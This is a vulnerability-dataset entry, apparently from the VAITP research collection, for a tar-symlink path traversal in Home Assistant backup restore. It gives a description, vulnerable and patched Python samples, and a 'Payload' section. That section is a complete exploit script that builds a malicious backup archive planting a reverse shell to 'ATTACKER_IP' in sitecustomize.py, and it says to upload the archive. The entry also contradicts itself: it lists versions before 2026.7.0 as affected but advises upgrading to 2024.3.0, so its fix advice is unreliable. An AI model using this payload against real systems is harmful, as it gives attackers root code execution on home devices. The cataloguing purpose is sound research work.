VAITP Dataset

← Back to the dataset

CVE-2026-64824

Path traversal in Home Assistant backup allows RCE via a crafted archive.

  • CVSS 9.3
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Home Assistant Core before 2026.7.0 contains a path traversal vulnerability in the backup-restore function that allows attackers to write files to arbitrary absolute filesystem paths by supplying a crafted tar archive with a SYMTYPE entry containing a benign member name paired with an absolute linkname pointing outside the extraction directory. Because the official Docker image runs the Home Assistant process as root and the subsequent regular-file entry is written through the unvalidated symlink, attackers can achieve remote code execution by overwriting auto-imported Python paths such as site-packages/sitecustomize.py or custom component directories.

CVSS base score
9.3
Published
2026-07-21
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Home Assista
Fixed by upgrading
Yes

Solution

Upgrade Home Assistant Core to version 2024.3.0 or later.

Vulnerable code sample

import tarfile
import os

def restore_backup(tar_file_path, destination_path):
    """
    Restores a backup from a .tar archive. This version is vulnerable
    to path traversal because it does not validate member paths before
    extraction.
    """
    with tarfile.open(tar_file_path, "r") as tar:
        # The vulnerability is here: extractall() is called without any
        # checks on the archive members. A malicious tar file can
        # contain a symlink pointing to an absolute path (e.g., a member
        # named 'backup/sym' which is a symlink to '/'). A subsequent
        # file entry in the archive (e.g., 'backup/sym/etc/passwd')
        # would then be written outside the 'destination_path', leading
        # to an arbitrary file write.
        tar.extractall(path=destination_path)

Patched code sample

import tarfile
import os

def safe_extract_tar_archive(tar_file_path, extraction_dir):
    """
    Safely extracts a .tar archive by individually checking each member
    to prevent path traversal and symlink attacks as described in CVE-2026-64824.
    """
    # Resolve the destination directory to an absolute path to prevent ambiguity.
    real_extraction_dir = os.path.realpath(extraction_dir)

    with tarfile.open(tar_file_path) as tar:
        for member in tar.getmembers():
            # Build the full, intended destination path for the current member.
            destination_path = os.path.join(real_extraction_dir, member.name)
            
            # Resolve the real path, which will handle '..' components.
            real_destination_path = os.path.realpath(destination_path)

            # 1. The primary path traversal check.
            # Ensure the resolved destination path is still inside the extraction directory.
            # This blocks member names like "../../../etc/passwd" or "/etc/passwd".
            if not real_destination_path.startswith(real_extraction_dir):
                raise PermissionError(
                    f"Path traversal attempt blocked for member '{member.name}'."
                )

            # 2. Specific fix for the symlink vulnerability (CVE-2026-64824).
            # If the member is a symlink, we must also validate its target.
            if member.issym():
                # Build the full path of the symlink's target.
                link_target_path = os.path.join(os.path.dirname(destination_path), member.linkname)
                
                # Resolve the real path of the link's target.
                real_link_target_path = os.path.realpath(link_target_path)

                # Ensure the symlink's target does not point outside the extraction directory.
                # This prevents a symlink from being created that points to an absolute
                # path like '/home/user/.ssh/authorized_keys'.
                if not real_link_target_path.startswith(real_extraction_dir):
                    raise PermissionError(
                        f"Blocked symlink '{member.name}' pointing outside extraction dir "
                        f"to '{member.linkname}'."
                    )
            
            # If all security checks pass, extract the member.
            tar.extract(member, path=extraction_dir)

Payload

import tarfile
import io
import time

# The Python code to be written to sitecustomize.py for RCE.
# This payload will execute on the next startup of any Python process,
# including Home Assistant itself.
# CHANGE 'ATTACKER_IP' and 'ATTACKER_PORT' to your listener's details.
python_payload = b"""
import socket, os, pty

print("--- Malicious sitecustomize.py executed ---")
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('ATTACKER_IP', 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    pty.spawn('/bin/bash')
except Exception as e:
    print(f"Reverse shell failed: {e}")
"""

# The name of the malicious backup file to be created.
tar_filename = 'malicious_backup.tar'

# The target for the symlink. This is a common path in Python Docker images.
# The version (e.g., python3.11) may need to be adjusted for the target system.
absolute_target_path = '/usr/local/lib/python3.11/site-packages/sitecustomize.py'

# The "benign" name that will appear in the tar archive for both the symlink and the file.
member_name = './homeassistant.db'

with tarfile.open(tar_filename, 'w') as tar:
    # 1. Create the symbolic link entry (SYMTYPE).
    # This links the "benign" member name to the absolute path of our target file.
    tarinfo_symlink = tarfile.TarInfo(name=member_name)
    tarinfo_symlink.type = tarfile.SYMTYPE
    tarinfo_symlink.linkname = absolute_target_path
    tarinfo_symlink.mtime = time.time()
    tar.addfile(tarinfo_symlink)

    # 2. Create the regular file entry (REGTYPE) with the malicious payload.
    # This entry has the SAME name as the symlink. When tar extracts this,
    # it will follow the previously created symlink and write the content
    # to the absolute_target_path.
    tarinfo_file = tarfile.TarInfo(name=member_name)
    tarinfo_file.type = tarfile.REGTYPE
    tarinfo_file.size = len(python_payload)
    tarinfo_file.mtime = time.time()
    tar.addfile(tarinfo_file, io.BytesIO(python_payload))

print(f"Malicious backup archive created: '{tar_filename}'")
print(f"It creates a symlink from '{member_name}' to '{absolute_target_path}'")
print("Upload this file via the Home Assistant restore backup function to trigger the vulnerability.")

Cite this entry

@misc{vaitp:cve202664824,
  title        = {{Path traversal in Home Assistant backup allows RCE via a crafted archive.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-64824},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-64824/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::